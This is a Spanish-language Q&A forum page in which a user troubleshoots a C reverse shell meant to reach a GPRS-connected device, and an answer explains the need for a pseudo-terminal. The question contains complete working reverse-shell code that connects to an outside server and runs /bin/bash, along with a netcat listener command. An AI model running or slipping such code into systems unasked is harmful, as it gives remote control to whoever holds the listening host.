Business
Jobs
  • About Us
  • Solutions
    • Job Postings
      Post your job and receive qualified candidates in 48h.
    • Candidate Assessments
      500+ technical and psychological tests, plus anti-fraud.
    • Headhunting
      Tailor-made executive search from start to finish.
    • Payroll + EOR
      Payroll dispersal and EOR across 15+ LATAM countries.
  • Pricing
  • Jobs

0

136
Views
Problemas con el shell inverso de C

Necesito configurar un shell inverso para conectarme a un dispositivo que está conectado a Internet a través de un módem GPRS.

Cuando ocurren condiciones especiales, inicio este comando en un servidor público con ip fija

 nc -l 65535

luego haré que se ejecute este código (ahora estoy conectado directamente al dispositivo a través de un cable para fines de prueba) (y sí, la bifurcación es inútil en este caso, pero la necesitaré en mi escenario final, así que seguí eso)

 #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> int reverse_shell() { pid_t p = 0; /* fork */ p = fork(); if (p == 0) { char *shell[2]; int i,fd; struct sockaddr_in sin; /* open socket */ fd = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr("MY SERVER PUBLIC IP ADDRESS"); sin.sin_port = htons(65535); /* connect! */ connect(fd, (struct sockaddr *)&sin,sizeof(struct sockaddr_in)); /* assign three first fd (input/output/err) to open socket */ for(i=0; i<3; i++) dup2(fd, i); /* build array */ shell[0] = "/bin/bash"; shell[1] = 0; /* start the reverse shell */ if (execve(shell[0], shell, NULL) == -1) printf("error\n"); exit(0); } return 0; } int main() { reverse_shell(); }

El shell inverso está configurado pero, como puede ver, no recibí ningún aviso y se ve un poco confuso.

 [root@public-server tmp]# nc -lv 65535 Connection from yyy.yyy.yyy.yyy port 65535 [tcp/*] accepted cd /etc ls *hosts* hosts hosts.allow hosts.deny

Además, necesito usar scp , pero los mensajes siguen apareciendo en el indicador del dispositivo y no en el servidor con conexión inversa.

servidor con conexión inversa:

 [root@public-server tmp]# nc -lv 65535 Connection from yyy.yyy.yyy.yyy port 65535 [tcp/*] accepted ls /etc/hosts /etc/hosts scp /etc/hosts xxx.xxx.xxx.xxx:/tmp/ Host key verification failed. lost connection

indicación del dispositivo:

 root@device:/tmp# ./a.out root@device:/tmp# The authenticity of host 'xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx)' can't be established. RSA key fingerprint is aa:e6:aa:1d:aa:a5:c2:fd:aa:4c:4f:e7:aa:34:aa:78. Are you sure you want to continue connecting (yes/no)?

¿Qué puedo hacer para solucionar esto y obtener un shell inverso estable y utilizable?

over 4 years ago · Santiago Trujillo
1 answers
Answer question

0

El problema es que su shell solo obtiene un descriptor de archivo simple. Con eso, solo puede funcionar como ejecutar un script. Para operar de forma interactiva, necesita una terminal que le permita hacer todas las cosas de termios . Para esto están los pseudo-terminales ( pty ). Una búsqueda rápida en Google mostró esta guía , no la leí por completo, tal vez haya mejores fuentes, buena suerte.

PD: no tengo experiencia con pty s, por lo que esto podría estar mal, pero supongo que de alguna manera debería configurar la variable de entorno TERM en el lado del cliente a la del servidor antes de iniciar el shell, por lo que sería recomendable implementar su propio servidor (en lugar de nc ) y tenga un pequeño protocolo de inicialización antes de iniciar el shell.

over 4 years ago · Santiago Trujillo Report
Answer question
Find remote jobs

Discover the new way to find a job!

Top jobs
Top job categories
Business
Post vacancy Pricing Sales
Legal
Terms and conditions Privacy policy
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Show me some job opportunities
There's an error!